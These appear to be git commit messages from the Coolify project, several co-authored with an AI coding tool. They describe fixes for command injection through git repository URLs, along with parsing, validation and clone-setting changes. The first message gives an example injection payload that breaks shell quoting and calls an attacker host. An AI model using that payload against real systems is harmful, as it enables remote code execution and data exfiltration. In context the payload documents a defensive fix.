**Security Fix: Command Injection Vulnerability**
This commit addresses a critical command injection vulnerability in the
`generateGitLsRemoteCommands` method that could allow low-privileged users
(team members) to execute arbitrary commands as root on the Coolify instance.
**Vulnerability Details:**
- Affected deployment types: `deploy_key` and `source` (GithubApp)
- Attack vector: Malicious git repository URLs containing shell metacharacters
- Impact: Remote code execution as root
- Example payload: `repo.git';curl attacker.com/$(whoami)`
**Changes Made:**
1. **deploy_key deployment type** (Application.php:1111-1112):
- Added proper escaping for `$customRepository` in git ls-remote commands
- Uses `str_replace("'", "'\\''", ...)` to escape single quotes for bash -c context
- Wraps repository URL in single quotes to prevent interpretation of shell metacharacters
2. **source deployment type with GithubApp** (Application.php:1067-1086):
- Added `escapeshellarg()` for all repository URL variations
- Covers both public and private repositories
- Handles both Docker and non-Docker execution contexts
3. **Added comprehensive unit tests** (tests/Unit/ApplicationGitSecurityTest.php):
- Tests for deploy_key type command injection prevention
- Tests for source type with public repos
- Tests for other type (already fixed in previous commit)
- Validates that malicious payloads are properly escaped
**Note:** The `other` deployment type was already fixed in commit b81baff4b.
This commit completes the security fix for all deployment types.
**Technical Details:**
The fix accounts for the `executeInDocker()` wrapper which uses `bash -c '...'`.
When commands are executed inside `bash -c` with single quotes, we must escape
single quotes as `'\''` to prevent the quotes from closing prematurely and
allowing shell injection.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
Two improvements to Git deployment handling:
1. **ApplicationDeploymentJob.php**:
- Fixed log message to show actual resolved commit SHA (`$this->commit`)
- Previously showed `$this->application->git_commit_sha` which could be "HEAD"
- Now displays the actual 40-character commit SHA that will be deployed
2. **Application.php (generateGitLsRemoteCommands)**:
- Added `escapeshellarg()` for repository URL in 'other' deployment type
- Prevents shell injection in git ls-remote commands
- Complements existing shell escaping in `generateGitImportCommands`
- Ensures consistent security across all Git operations
**Security Impact:**
- All Git commands now use properly escaped repository URLs
- Prevents command injection through malicious repository URLs
- Consistent escaping in both ls-remote and clone operations
**User Experience:**
- Deployment logs now show exact commit SHA being deployed
- More accurate debugging information for deployment issues
Co-Authored-By: Claude <noreply@anthropic.com>
Fixes deployment failures when Git repositories redirect (e.g., tangled.sh → tangled.org)
and improves security by adding proper shell escaping for repository URLs.
**Root Cause:**
Git redirect warnings can appear on the same line as ls-remote output with no newline:
`warning: redirecting to https://tangled.org/...196d3df... refs/heads/master`
The previous parsing logic split by newlines and extracted text before tabs, which
included the entire warning message instead of just the 40-character commit SHA.
**Changes:**
1. **Fixed commit SHA extraction** (ApplicationDeploymentJob.php):
- Changed from line-based parsing to regex pattern matching
- Uses `/([0-9a-f]{40})\s*\t/` to find valid 40-char hex commit SHA before tab
- Handles warnings on same line, separate lines, multiple warnings, and whitespace
- Added comprehensive Ray debug logs for troubleshooting
2. **Added security fix** (Application.php):
- Added `escapeshellarg()` for repository URLs in 'other' deployment type
- Prevents shell injection and fixes parsing issues with special characters like `@`
- Added Ray debug logs for deployment type tracking
3. **Comprehensive test coverage** (GitLsRemoteParsingTest.php):
- Tests normal output without warnings
- Tests redirect warning on separate line
- Tests redirect warning on same line (actual tangled.sh format)
- Tests multiple warning lines
- Tests extra whitespace handling
**Resolves:**
- Linear issue COOLGH-53: Valid git URLs are rejected as being invalid
- GitHub issue #6568: tangled.sh deployments failing
- Handles Git redirects universally for all Git hosting services
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
- Introduced logic to automatically create a default NIXPACKS_NODE_VERSION environment variable when an application uses the 'nixpacks' build pack.
- Ensured the environment variable is configured with appropriate attributes for build-time usage.
- Updated the ordering logic in the environment_variables methods for both Application and Service models to prioritize required variables over service-prefixed keys.
- This change enhances the clarity and organization of environment variable retrieval, ensuring that essential variables are listed first.
- Add automatic trimming in Application model's boot method for git_repository, git_branch, and git_commit_sha fields
- Add real-time trimming in Source Livewire component via updated{Property} methods
- Refresh component state after save to ensure UI displays trimmed values
- Prevents deployment issues caused by accidental whitespace in git configuration
- Introduced `ValidGitRepositoryUrl` and `ValidGitBranch` validation rules to ensure safe and valid input for Git repository URLs and branch names.
- Updated relevant Livewire components and API controllers to utilize the new validation rules, enhancing security against command injection and invalid inputs.
- Refactored existing validation logic to improve consistency and maintainability across the application.
- Introduced a new boolean setting `is_git_shallow_clone_enabled` to the application settings model.
- Updated the `Advanced` component to include a checkbox for enabling shallow cloning.
- Modified the `setGitImportSettings` and `generateGitImportCommands` methods to handle shallow clone logic.
- Created a migration to add the new setting to the database schema.
- Enhanced the deployment process to utilize shallow cloning for improved performance.
- Introduced `ValidationPatterns` class to standardize validation rules and messages for name and description fields across the application.
- Updated various components and models to utilize the new validation patterns, ensuring consistent sanitization and validation logic.
- Replaced the `HasSafeNameAttribute` trait with `HasSafeStringAttribute` to enhance attribute handling and maintain consistency in name sanitization.
- Enhanced the `CleanupNames` command to align with the new validation rules, allowing for a broader range of valid characters in names.
- Introduced `CleanupNames` command to sanitize name fields by removing invalid characters, ensuring only letters, numbers, spaces, dashes, underscores, and dots are retained.
- Implemented options for dry run, model-specific cleaning, database backup, and forced execution.
- Updated `Init` command to call the new `cleanup:names` command.
- Enhanced project and environment validation to enforce name sanitization rules.
- Added `HasSafeNameAttribute` trait to relevant models for consistent name handling.
